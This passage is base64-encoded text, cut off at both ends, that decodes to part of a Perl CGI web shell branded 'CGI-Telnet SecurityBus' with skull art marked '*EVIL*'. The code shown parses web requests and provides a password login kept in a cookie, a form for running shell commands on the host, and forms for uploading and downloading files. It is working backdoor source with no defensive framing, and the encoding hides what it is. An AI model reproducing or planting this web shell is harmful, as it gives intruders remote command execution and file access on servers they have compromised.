QoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPlNlY3VyaXR5QnVzPC90aXRsZT4NCiRIdG1sTWV0YUhlYWRlcg0KPC9oZWFkPg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwMDAwMDAiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCjx0ZCBiZ2NvbG9yPSIjQzJCRkE1IiBib3JkZXJjb2xvcj0iIzAwMDA4MCIgYWxpZ249ImNlbnRlciI+DQo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4NCjx0ZCBiZ2NvbG9yPSIjMDAwMDgwIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIiBjb2xvcj0iIzAwOTkwMCI+PGI+Q0dJLVRlbG5ldCBTZWN1cml0eUJ1cyBDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8L2I+PC9mb250PjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGJnY29sb3I9IiNDMkJGQTUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkRpc2Nvbm5lY3Q8L2E+IHwNCjxhIGhyZWY9IlVOSVRYX1RFQU1ASE9UTUFJTC5DT00iPkhlbHA8L2E+DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiIHNpemU9IjMiPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoJJE1lc3NhZ2UgPSBxJDxwcmU+PGZvbnQgY29sb3I9IiNmZjAwMDAiPiBfX19fXyAgX19fX18gIF9fX19fICAgICAgICAgIF9fX19fICAgICAgICBfICAgICAgICAgICAgICAgXw0KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfA0KfCAvICBcL3wgfCAgXC8gIHwgfCAgIF9fX19fXyAgIHwgfCAgICBfX18gfCB8IF8gX18gICAgX19fIHwgfF8NCnwgfCAgICB8IHwgX18gICB8IHwgIHxfX19fX198ICB8IHwgICAvIF8gXHwgfHwgJ18gXCAgLyBfIFx8IF9ffA0KfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8NCiBcX19fXy8gXF9fX18vIFxfX18vICAgICAgICAgICBcXy8gICBcX19ffHxffHxffCB8X3wgXF9fX3wgXF9ffCAxLjANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj4gMjAxNSwgU2VjdXJpdHlCdXM8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPg0KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4NCiAgICAgICAgICAgICAgICAgIC8gICAgICAgICAgICBcDQogICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgIHwNCiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfA0KICAgICAgICAgICAgICAgICB8ICkoX28vICBcb18pKCB8DQogICAgICAgICAgICAgICAgIHwvICAgICAvXCAgICAgXHwNCiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQ0KICBfICAgICApIFw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58KkVWSUwqfDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPi88L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX19fX19fDQo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAoXyk8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPkA4QDg8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnt9PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj4mbHQ7X19fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnwtXE1BU1RFUi8tfDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19fX19fX19fX19fX19fX19fX19fX19fJmd0OzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+DQogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIA0KICAgICAgIChAICAgICAgICAgICBgLS0tLS0tLS1gDQogICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj5XIEEgUiBOIEkgTiBHOiBQcml2YXRlIFNlcnZlciA8L2ZvbnQ+PC9wcmU+DQokOw0KIycNCglwcmludCA8PEVORDsNCjxjb2RlPg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KbG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQokUHJvbXB0IHVwbG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcHJpbnQgPDxFTkQ7DQo8L3htcD4NCjxjb2RlPg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLg0KPGJyPktpbGxlZCBpdCENCjxjb2RlPg0KRU5EDQoJCSZQcmludENvbW1hb